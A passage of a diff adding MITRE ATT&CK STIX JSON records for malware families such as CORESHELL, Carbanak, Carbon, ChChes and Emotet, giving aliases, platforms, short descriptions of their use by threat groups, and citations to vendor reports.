"x_mitre_aliases": [ + "CORESHELL", + "Sofacy", + "SOURFACE" + ], + "x_mitre_version": "2.1", + "modified": "2020-03-30T15:14:36.623Z", + "created": "2017-05-31T21:33:18.506Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0137", + "external_id": "S0137", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", + "source_name": "CORESHELL" + }, + { + "description": "This designation has been used in reporting both to refer to the threat group (APT28) and its associated malware.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)", + "source_name": "Sofacy" + }, + { + "description": "(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)", + "source_name": "SOURFACE" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28" + }, + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "source_name": "FireEye APT28 January 2017" + }, + { + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018" + } + ] + }, + { + "type": "malware", + "modified": "2020-05-29T13:13:22.064Z", + "name": "Cadelspy", + "x_mitre_aliases": [ + "Cadelspy" + ], + "x_mitre_version": "1.0", + "created": "2020-05-22T20:07:15.628Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--a705b085-1eae-455e-8f4d-842483d814eb", + "description": "[Cadelspy](https://attack.mitre.org/software/S0454) is a backdoor that has been used by [APT39](https://attack.mitre.org/groups/G0087).(Citation: Symantec Chafer Dec 2015)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0454", + "external_id": "S0454", + "source_name": "mitre-attack" + }, + { + "source_name": "Symantec Chafer Dec 2015", + "description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.", + "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Calisto", + "x_mitre_aliases": [ + "Calisto" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T01:58:55.849Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "description": "[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)", + "x_mitre_contributors": [ + "Cody Thomas, SpecterOps" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0274", + "external_id": "S0274", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)", + "source_name": "Calisto" + }, + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + }, + { + "source_name": "Symantec Calisto July 2018", + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "CallMe", + "x_mitre_aliases": [ + "CallMe" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T15:16:18.880Z", + "created": "2017-05-31T21:32:52.875Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "description": "[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0077", + "external_id": "S0077", + "source_name": "mitre-attack" + }, + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Cannon", + "x_mitre_aliases": [ + "Cannon" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T15:17:24.834Z", + "created": "2019-01-30T18:58:03.614Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "description": "[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0351", + "external_id": "S0351", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit42 Cannon Nov 2018)", + "source_name": "Cannon" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "source_name": "Unit42 Sofacy Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Carbanak", + "x_mitre_aliases": [ + "Carbanak", + "Anunak" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-01T16:03:31.574Z", + "created": "2017-05-31T21:32:22.213Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0030", + "external_id": "S0030", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye CARBANAK June 2017)", + "source_name": "Carbanak" + }, + { + "description": "(Citation: Fox-It Anunak Feb 2015) (Citation: FireEye CARBANAK June 2017)", + "source_name": "Anunak" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "source_name": "Kaspersky Carbanak" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017" + }, + { + "url": "https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/", + "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.", + "source_name": "Fox-It Anunak Feb 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Carberp", + "x_mitre_aliases": [ + "Carberp" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-25T20:08:29.545Z", + "created": "2020-07-15T19:48:35.063Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", + "description": "[Carberp](https://attack.mitre.org/software/S0484) is a credential and information stealing malware that has been active since at least 2009. [Carberp](https://attack.mitre.org/software/S0484)'s source code was leaked online in 2013, and subsequently used as the foundation for the [Carbanak](https://attack.mitre.org/software/S0030) backdoor.(Citation: Trend Micro Carberp February 2014)(Citation: KasperskyCarbanak)(Citation: RSA Carbanak November 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0484", + "external_id": "S0484", + "source_name": "mitre-attack" + }, + { + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/carberp", + "description": "Trend Micro. (2014, February 27). CARBERP. Retrieved July 29, 2020.", + "source_name": "Trend Micro Carberp February 2014" + }, + { + "url": "https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 27, 2017.", + "source_name": "KasperskyCarbanak" + }, + { + "url": "https://www.rsa.com/content/dam/en/white-paper/the-carbanak-fin7-syndicate.pdf", + "description": "RSA. (2017, November 21). THE CARBANAK/FIN7 SYNDICATE A HISTORICAL OVERVIEW OF AN EVOLVING THREAT. Retrieved July 29, 2020.", + "source_name": "RSA Carbanak November 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Carbon", + "x_mitre_aliases": [ + "Carbon" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-25T15:46:06.354Z", + "created": "2019-01-29T19:36:02.103Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "description": "[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0335", + "external_id": "S0335", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)", + "source_name": "Carbon" + }, + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + }, + { + "url": "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 04). Shedding Skin \u2013 Turla\u2019s Fresh Faces. Retrieved November 7, 2018.", + "source_name": "Securelist Turla Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Cardinal RAT", + "x_mitre_aliases": [ + "Cardinal RAT" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T01:59:34.624Z", + "created": "2019-01-30T16:39:53.573Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0348", + "external_id": "S0348", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: PaloAlto CardinalRat Apr 2017)", + "source_name": "Cardinal RAT" + }, + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Catchamas", + "x_mitre_aliases": [ + "Catchamas" + ], + "x_mitre_version": "1.1", + "modified": "2021-02-09T14:51:14.620Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0261", + "external_id": "S0261", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Catchamas April 2018)", + "source_name": "Catchamas" + }, + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Caterpillar WebShell", + "x_mitre_aliases": [ + "Caterpillar WebShell" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-27T01:47:15.413Z", + "created": "2021-02-10T18:20:51.309Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) is a self-developed Web Shell tool created by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123).(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0572", + "external_id": "S0572", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ClearSky Lebanese Cedar Jan 2021)(Citation: CheckPoint Volatile Cedar March 2015)", + "source_name": "Caterpillar WebShell" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.", + "source_name": "ClearSky Lebanese Cedar Jan 2021" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021.", + "source_name": "CheckPoint Volatile Cedar March 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ChChes", + "x_mitre_aliases": [ + "ChChes", + "Scorpion", + "HAYMAKER" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:49:40.093Z", + "created": "2017-05-31T21:33:22.451Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "description": "[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0144", + "external_id": "S0144", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "source_name": "ChChes" + }, + { + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)", + "source_name": "Scorpion" + }, + { + "description": "Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named HAYMAKER by FireEye is likely the same as the malware ChChes. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)", + "source_name": "HAYMAKER" + }, + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "JPCERT ChChes Feb 2017", + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. 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Retrieved June 29, 2017.", + "url": "https://twitter.com/ItsReallyNick/status/850105140589633536" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Chaes", + "x_mitre_aliases": [ + "Chaes" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-12T21:51:39.986Z", + "created": "2021-06-30T16:13:40.232Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", + "description": "[Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. 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Retrieved October 5, 2021.", + "source_name": "CheckPoint Dok" + } + ] + }, + { + "type": "malware", + "modified": "2021-04-19T17:45:07.102Z", + "name": "Doki", + "x_mitre_aliases": [ + "Doki" + ], + "x_mitre_version": "1.0", + "created": "2021-04-06T15:53:34.722Z", + "x_mitre_platforms": [ + "Linux", + "Containers" + ], + "id": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", + "description": "[Doki](https://attack.mitre.org/software/S0600) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://attack.mitre.org/software/S0600) was used in conjunction with the [Ngrok](https://attack.mitre.org/software/S0508) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. 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Retrieved February 10, 2021.", + "source_name": "ESET Ebury Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Ecipekac", + "x_mitre_aliases": [ + "Ecipekac", + "HEAVYHAND", + "SigLoader", + "DESLoader" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-11T14:18:23.361Z", + "created": "2021-06-18T18:56:41.244Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3", + "description": "[Ecipekac](https://attack.mitre.org/software/S0624) is a multi-layer loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2019 including use as a loader for [P8RAT](https://attack.mitre.org/software/S0626), [SodaMaster](https://attack.mitre.org/software/S0627), and [FYAnti](https://attack.mitre.org/software/S0628).(Citation: Securelist APT10 March 2021)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0624", + "external_id": "S0624", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Securelist APT10 March 2021)", + "source_name": "HEAVYHAND" + }, + { + "description": "(Citation: Securelist APT10 March 2021)", + "source_name": "SigLoader" + }, + { + "description": "(Citation: Securelist APT10 March 2021)", + "source_name": "DESLoader" + }, + { + "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", + "description": "GREAT. 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Researchers have noted code similarities between [Egregor](https://attack.mitre.org/software/S0554) and Sekhmet ransomware, as well as [Maze](https://attack.mitre.org/software/S0449) ransomware.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Matt Brenton, Zurich Insurance Group" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0554", + "external_id": "S0554", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)", + "source_name": "Egregor" + }, + { + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", + "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020.", + "source_name": "NHS Digital Egregor Nov 2020" + }, + { + "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", + "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020.", + "source_name": "Cyble Egregor Oct 2020" + }, + { + "url": "https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/", + "description": "Meskauskas, T.. (2020, October 29). Egregor: Sekhmet\u2019s Cousin. Retrieved January 6, 2021.", + "source_name": "Security Boulevard Egregor Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Elise", + "x_mitre_aliases": [ + "Elise", + "BKDR_ESILE", + "Page" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-20T23:20:16.933Z", + "created": "2017-05-31T21:32:54.416Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "description": "[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0081", + "external_id": "S0081", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Accenture Dragonfish Jan 2018)", + "source_name": "Elise" + }, + { + "description": "(Citation: Lotus Blossom Jun 2015)", + "source_name": "BKDR_ESILE" + }, + { + "description": "(Citation: Lotus Blossom Jun 2015)", + "source_name": "Page" + }, + { + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Jun 2015" + }, + { + "source_name": "Accenture Dragonfish Jan 2018", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Emissary", + "x_mitre_aliases": [ + "Emissary" + ], + "x_mitre_version": "1.2", + "modified": "2021-08-09T14:21:48.477Z", + "created": "2017-05-31T21:32:54.772Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "description": "[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0082", + "external_id": "S0082", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Lotus Blossom Dec 2015)", + "source_name": "Emissary" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/", + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Dec 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Emotet", + "x_mitre_aliases": [ + "Emotet", + "Geodo" + ], + "x_mitre_version": "1.3", + "modified": "2020-11-24T20:15:54.954Z", + "created": "2019-03-25T18:35:14.353Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "description": "[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)", + "x_mitre_contributors": [ + "Omkar Gudhate" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0367", + "external_id": "S0367", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: ESET Emotet Nov 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: CIS Emotet Dec 2018)(Citation: Picus Emotet Dec 2018)(Citation: Red Canary Emotet Feb 2019) ", + "source_name": "Emotet" + }, + { + "description": "(Citation: Trend Micro Emotet Jan 2019)", + "source_name": "Geodo" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/", + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "source_name": "Trend Micro Banking Malware Jan 2019" + }, + { + "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/", + "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.", + "source_name": "Kaspersky Emotet Jan 2019" + }, + { + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/", + "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.", + "source_name": "CIS Emotet Apr 2017" + }, + { + "url": 